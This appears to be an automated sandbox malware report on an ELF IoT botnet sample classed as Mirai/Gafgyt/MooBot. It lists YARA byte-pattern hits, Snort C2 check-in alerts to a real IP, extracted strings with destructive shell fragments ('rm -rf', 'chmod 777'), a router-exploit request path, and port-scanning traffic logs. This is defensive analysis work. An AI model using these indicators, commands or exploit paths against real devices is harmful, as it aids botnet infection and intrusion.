2F 78 33 38 2F 78 46 4A 2F 0x1956c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x195a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x195bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x195d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5432.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x15ad4:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5432.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x16187:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5432.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x137ee:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x13928:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5432.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x18c4e:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5432.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x15d47:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5432.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0x153e2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5432.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x16012:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5432.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0x155db:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5432.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x42a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
5432.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x692f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
5432.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x52d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
5432.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x4cb2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
5432.1.0000000000400000.000000000041e000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1ad3a:$x2: /bin/busybox chmod 777 * /tmp/ 0x1aaa8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5460.1.0000000000400000.000000000041e000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1ad3a:$x2: /bin/busybox chmod 777 * /tmp/ 0x1aaa8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: AFWaD3vnqR.elf PID: 5432	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x725:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x739:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x74d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x761:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x775:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x789:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x79d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7b1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7c5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7d9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7ed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x801:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x815:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x829:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x83d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x851:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x865:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x879:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x88d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8a1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8b5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: AFWaD3vnqR.elf PID: 5446	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x848:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x85c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x870:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x884:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x898:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x910:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: AFWaD3vnqR.elf PID: 5460	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x413:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x427:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x43b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x44f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x463:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x477:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x48b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x49f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4b3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4c7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4db:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4ef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x503:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x517:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x52b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x53f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x553:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x567:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x57b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x58f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 46 entries

Snort Signatures

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:21:54.323417
SID:	2030490
Source Port:	33636
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:21:51.957294
SID:	2030490
Source Port:	33606
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:21:50.625160
SID:	2030490
Source Port:	33204
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: AFWaD3vnqR.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: AFWaD3vnqR.elf	ReversingLabs: Detection: 68%
Source: AFWaD3vnqR.elf	Virustotal: Detection: 62%			Perma Link

Machine Learning detection for sample

Source: AFWaD3vnqR.elf

Joe Sandbox ML: detected

Source: AFWaD3vnqR.elf

String: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k/proc//proc/%d/exewgetcurlping/pswiresharktcpdumppythoniptablesnanonvimgdb/proc/maps/fd/proc/net/tcp/bin/systemd/bin/watchdog/bin/busybox/var/SofiamkdirtouchechoHTTPetherapegittelnetdsshdmysqlddropbearencoderpgrepyumtftpftpgetrebootpoweroffshutdownnetcatapt/usr/bin/usr/ftp/usr/sbinusrrm -rf && mkdir ; > && mv ; chmod 777 3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:33204 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:33606 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:33636 -> 109.205.214.35:65535

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.4.146.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.62.39.206 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 53724 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 53724 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 53008 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 53008 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 53724 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 41648 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 46136 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58038 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 41648
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 46136 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46182 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56548 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 58602 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 46230 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37664 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42736 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53326 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 41584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42746 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37684 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38120 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38120
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50460 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40112 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56656 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40154 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42416 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48124 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42470 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50788 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56656 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56656
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56700 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56700
Source: unknown	Network traffic detected: HTTP traffic on port 48708 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48744 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55218 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41696 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56656
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41696 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45014 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 37978 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38262 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41642 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 42018 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37978 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 42050 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36182 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36220 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45258 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60650 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60702 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58004 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 35346 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 42050 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36220 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45224
Source: unknown	Network traffic detected: HTTP traffic on port 45268 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58348 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48458 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35146 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45258 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45280 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58348
Source: unknown	Network traffic detected: HTTP traffic on port 58398 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45268
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35198 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45280
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58398
Source: unknown	Network traffic detected: HTTP traffic on port 35420 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48458 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47068 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56824 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50894
Source: unknown	Network traffic detected: HTTP traffic on port 50908 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50908
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48458 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56824 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53520 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59606 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53542 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53542 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58786 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53542 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58808 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33276 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59606 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44944 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 60538 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 46136 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48458 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54718 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 34996 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56784 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60180 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39548 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47596 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46112 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38404 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46196 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58894 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37918 -> 52869
